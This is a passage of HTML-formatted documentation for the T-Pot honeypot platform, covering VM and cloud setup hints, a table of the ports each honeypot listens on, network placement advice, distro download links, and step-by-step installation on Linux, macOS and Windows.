&lt;p&gt;&lt;strong&gt;&lt;em&gt;Some configuration / setup hints:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;While Intel versions run stable, Apple Silicon (arm64) support has known issues which in UTM may require switching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Display&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Console Only&lt;/code&gt; during initial installation of the OS and afterwards back to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Full Graphics&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;During configuration you may need to enable promiscuous mode for the network interface in order for fatt, suricata and p0f to work properly.&lt;/li&gt;
  &lt;li&gt;If you want to use a wifi card as a primary NIC for T-Pot, please be aware that not all network interface drivers support all wireless cards. In VirtualBox e.g. you have to choose the &lt;em&gt;“MT SERVER”&lt;/em&gt; model of the NIC.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;running-on-hardware&quot;&gt;Running on Hardware&lt;/h2&gt;
&lt;p&gt;T-Pot is only limited by the hardware support of the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt;. It is recommended to check the HCL (hardware compatibility list) and test the supported distros with T-Pot before investing in dedicated hardware.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;running-in-a-cloud&quot;&gt;Running in a Cloud&lt;/h2&gt;
&lt;p&gt;T-Pot is tested on and known to run on …&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Telekom OTC using the post install method
… others may work, but remain untested.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some users report working installations on other clouds and hosters, i.e. Azure and GCP. Hardware requirements may be different. If you are unsure you should research &lt;a href=&quot;https://github.com/telekom-security/tpotce/issues&quot;&gt;issues&lt;/a&gt; and &lt;a href=&quot;https://github.com/telekom-security/tpotce/discussions&quot;&gt;discussions&lt;/a&gt; and run some functional tests. With T-Pot 24.04.0 and forward we made sure to remove settings that were known to interfere with cloud based installations. 
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;required-ports&quot;&gt;Required Ports&lt;/h2&gt;
&lt;p&gt;Besides the ports generally needed by the OS, i.e. obtaining a DHCP lease, DNS, etc. T-Pot will require the following ports for incoming / outgoing connections. Review the &lt;a href=&quot;#technical-architecture&quot;&gt;T-Pot Architecture&lt;/a&gt; for a visual representation. Also some ports will show up as duplicates, which is fine since used in different editions.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Port&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Protocol&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Direction&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;80, 443&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;outgoing&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot Management: Install, Updates, Logs (i.e. OS, GitHub, DockerHub, Sicherheitstacho, etc.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;64294&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot Management: Sensor data transmission to hive (through NGINX reverse proxy) to 127.0.0.1:64305&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;64295&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot Management: Access to SSH&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;64297&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot Management Access to NGINX reverse proxy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5555&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: ADBHoney&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5000&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: CiscoASA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8443&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: CiscoASA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;443&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: CitrixHoneypot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;80, 102, 502, 1025, 2404, 10001, 44818, 47808, 50100&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Conpot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;161, 623&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Conpot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;22, 23&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Cowrie&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;19, 53, 123, 1900&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Ddospot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;11112&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Dicompot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;21, 42, 135, 443, 445, 1433, 1723, 1883, 3306, 8081&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Dionaea&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;69&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Dionaea&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;9200&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Elasticpot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;22&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Endlessh&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;21, 22, 23, 25, 80, 110, 143, 443, 993, 995, 1080, 5432, 5900&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Heralding&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;21, 22, 23, 25, 80, 110, 143, 389, 443, 445, 631, 1080, 1433, 1521, 3306, 3389, 5060, 5432, 5900, 6379, 6667, 8080, 9100, 9200, 11211&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: qHoneypots&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;53, 123, 161, 5060&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: qHoneypots&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;631&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: IPPHoney&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;80, 443, 8080, 9200, 25565&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Log4Pot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;25&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Mailoney&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2575&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Medpot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6379&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Redishoneypot&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5060&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp/udp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: SentryPeer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;80&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Snare (Tanner)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8090&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;tcp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;incoming&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Honeypot: Wordpot&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Ports and availability of SaaS services may vary based on your geographical location.&lt;/p&gt;

&lt;p&gt;For some honeypots to reach full functionality (i.e. Cowrie or Log4Pot) outgoing connections are necessary as well, in order for them to download the attacker’s malware. Please see the individual honeypot’s documentation to learn more by following the &lt;a href=&quot;#technical-concept&quot;&gt;links&lt;/a&gt; to their repositories.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;system-placement&quot;&gt;System Placement&lt;/h1&gt;
&lt;p&gt;It is recommended to get yourself familiar with how T-Pot and the honeypots work before you start exposing towards the internet. For a quickstart run a T-Pot installation in a virtual machine.
&lt;br /&gt;&lt;br /&gt;
Once you are familiar with how things work you should choose a network you suspect intruders in or from (i.e. the internet). Otherwise T-Pot will most likely not capture any attacks (unless you want to prove a point)! For starters it is recommended to put T-Pot in an unfiltered zone, where all TCP and UDP traffic is forwarded to T-Pot’s network interface. To avoid probing for T-Pot’s management ports you should put T-Pot behind a firewall and forward all TCP / UDP traffic in the port range of 1-64000 to T-Pot while allowing access to ports &amp;gt; 64000 only from trusted IPs and / or only expose the &lt;a href=&quot;#required-ports&quot;&gt;ports&lt;/a&gt; relevant to your use-case. If you wish to catch malware traffic on unknown ports you should not limit the ports you forward since glutton and honeytrap dynamically bind any TCP port that is not occupied by other honeypot daemons and thus give you a better representation of the risks your setup is exposed to.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;installation&quot;&gt;Installation&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;#choose-your-distro&quot;&gt;Download&lt;/a&gt; one of the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt;, follow the &lt;a href=&quot;#tldr&quot;&gt;TL;DR&lt;/a&gt; instructions or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; the T-Pot repository and run the installer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/install.sh&lt;/code&gt;. Running T-Pot on top of a running and supported Linux system is possible, but a clean installation is recommended to avoid port conflicts with running services. The T-Pot installer will require direct access to the internet as described &lt;a href=&quot;#required-ports&quot;&gt;here&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;choose-your-distro&quot;&gt;Choose your distro&lt;/h2&gt;
&lt;p&gt;Choose a supported distro of your choice. It is recommended to use the minimum / netiso installers linked below and only install a minimalistic set of packages. SSH is mandatory or you will not be able to connect to the machine remotely.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Distribution Name&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;x64&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;arm64&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://almalinux.org&quot;&gt;Alma Linux Boot&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://repo.almalinux.org/almalinux/9.3/isos/x86_64/AlmaLinux-9.3-x86_64-boot.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://repo.almalinux.org/almalinux/9.3/isos/aarch64/AlmaLinux-9.3-aarch64-boot.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://www.debian.org/index.en.html&quot;&gt;Debian Netinst&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-12.5.0-amd64-netinst.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://cdimage.debian.org/debian-cd/current/arm64/iso-cd/debian-12.5.0-arm64-netinst.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://fedoraproject.org&quot;&gt;Fedora Netinst&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.fedoraproject.org/pub/fedora/linux/releases/39/Server/x86_64/iso/Fedora-Server-netinst-x86_64-39-1.5.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.fedoraproject.org/pub/fedora/linux/releases/39/Server/aarch64/iso/Fedora-Server-netinst-aarch64-39-1.5.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://www.opensuse.org&quot;&gt;OpenSuse Tumbleweed Network Image&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.opensuse.org/tumbleweed/iso/openSUSE-Tumbleweed-NET-x86_64-Current.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.opensuse.org/ports/aarch64/tumbleweed/iso/openSUSE-Tumbleweed-NET-aarch64-Current.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://rockylinux.org&quot;&gt;Rocky Linux Boot&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.rockylinux.org/pub/rocky/9/isos/x86_64/Rocky-9.3-x86_64-boot.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://download.rockylinux.org/pub/rocky/9/isos/aarch64/Rocky-9.3-aarch64-boot.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://ubuntu.com&quot;&gt;Ubuntu Live Server&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://releases.ubuntu.com/22.04.4/ubuntu-22.04.4-live-server-amd64.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://cdimage.ubuntu.com/releases/22.04/release/ubuntu-22.04.4-live-server-arm64.iso&quot;&gt;download&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;raspberry-pi-4-8gb-support&quot;&gt;Raspberry Pi 4 (8GB) Support&lt;/h2&gt;
&lt;p&gt;| Distribution Name                                                | arm64                                                                                                                                               |
|:—————————————————————–|:—————————————————————————————————————————————————-|
| &lt;a href=&quot;https://www.raspberrypi.com&quot;&gt;Raspberry Pi OS (&lt;strong&gt;64Bit, Lite&lt;/strong&gt;)&lt;/a&gt; | &lt;a href=&quot;https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-03-15/2024-03-15-raspios-bookworm-arm64-lite.img.xz&quot;&gt;download&lt;/a&gt; |&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;get-and-install-t-pot&quot;&gt;Get and install T-Pot&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Clone the GitHub repository: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ git clone https://github.com/telekom-security/tpotce&lt;/code&gt; or follow the &lt;a href=&quot;#tldr&quot;&gt;TL;DR&lt;/a&gt; and skip this section.&lt;/li&gt;
  &lt;li&gt;Change into the &lt;strong&gt;tpotce/&lt;/strong&gt; folder: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ cd tpotce&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Run the installer as non-root: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ ./install.sh&lt;/code&gt;:
    &lt;ul&gt;
      &lt;li&gt;⚠️ &lt;strong&gt;&lt;em&gt;Depending on your Linux distribution of choice the installer will:&lt;/em&gt;&lt;/strong&gt;
        &lt;ul&gt;
          &lt;li&gt;Change the SSH port to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcp/64295&lt;/code&gt;&lt;/li&gt;
          &lt;li&gt;Disable the DNS Stub Listener to avoid port conflicts with honeypots&lt;/li&gt;
          &lt;li&gt;Set SELinux to Monitor Mode&lt;/li&gt;
          &lt;li&gt;Set the firewall target for the public zone to ACCEPT&lt;/li&gt;
          &lt;li&gt;Add Docker’s repository and install Docker&lt;/li&gt;
          &lt;li&gt;Install recommended packages&lt;/li&gt;
          &lt;li&gt;Remove packages known to cause issues&lt;/li&gt;
          &lt;li&gt;Add the current user to the docker group (allow docker interaction without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;)&lt;/li&gt;
          &lt;li&gt;Add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dps&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpsw&lt;/code&gt; aliases (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grc docker ps -a&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;watch -c &quot;grc --colour=on docker ps -a&lt;/code&gt;)&lt;/li&gt;
          &lt;li&gt;Add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;la&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ll&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; aliases (for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exa&lt;/code&gt;, a improved &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; command)&lt;/li&gt;
          &lt;li&gt;Add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mi&lt;/code&gt; (for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;micro&lt;/code&gt;, a great alternative to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt; and / or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nano&lt;/code&gt;)&lt;/li&gt;
          &lt;li&gt;Display open ports on the host (compare with T-Pot &lt;a href=&quot;https://github.com/telekom-security/tpotce#required-ports&quot;&gt;required&lt;/a&gt; ports)&lt;/li&gt;
          &lt;li&gt;Add and enable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot.service&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/systemd/system&lt;/code&gt; so T-Pot can automatically start and stop&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Follow the installer instructions, you will have to enter your user (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;) password at least once&lt;/li&gt;
  &lt;li&gt;Check the installer messages for errors and open ports that might cause port conflicts&lt;/li&gt;
  &lt;li&gt;Reboot: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ sudo reboot&lt;/code&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;macos--windows&quot;&gt;macOS &amp;amp; Windows&lt;/h2&gt;
&lt;p&gt;Sometimes it is just nice if you can spin up a T-Pot instance on macOS or Windows, i.e. for development, testing or just the fun of it. As Docker Desktop is rather limited not all honeypot types or T-Pot features are supported. Also remember, by default the macOS and Windows firewall are blocking access from remote, so testing is limited to the host. For production it is recommended to run T-Pot on &lt;a href=&quot;#choose-your-distro&quot;&gt;Linux&lt;/a&gt;.&lt;br /&gt;
To get things up and running just follow these steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Install Docker Desktop for &lt;a href=&quot;https://docs.docker.com/desktop/install/mac-install/&quot;&gt;macOS&lt;/a&gt; or &lt;a href=&quot;https://docs.docker.com/desktop/install/windows-install/&quot;&gt;Windows&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Clone the GitHub repository: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone https://github.com/telekom-security/tpotce&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Go to: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd ~/tpotce&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Copy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp compose/mac_win.yml ./docker-compose.yml&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WEB_USER&lt;/code&gt; by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/genuser.sh&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Adjust the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.env&lt;/code&gt; file by changing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TPOT_OSTYPE=linux&lt;/code&gt; to either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mac&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;win&lt;/code&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# OSType (linux, mac, win)
#  Most docker features are available on linux
TPOT_OSTYPE=mac
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;You have to ensure on your own there are no port conflicts keeping T-Pot from starting up.&lt;/li&gt;
  &lt;li&gt;Start T-Pot: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker compose up&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker compose up -d&lt;/code&gt; if you want T-Pot to run in the background.&lt;/li&gt;
  &lt;li&gt;Stop T-Pot: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL-C&lt;/code&gt; (it if was running in the foreground) and / or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker compose down -v&lt;/code&gt; to stop T-Pot entirely.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;installation-types&quot;&gt;Installation Types&lt;/h2&gt;

&lt;h3 id=&quot;standard--hive&quot;&gt;Standard / HIVE&lt;/h3&gt;
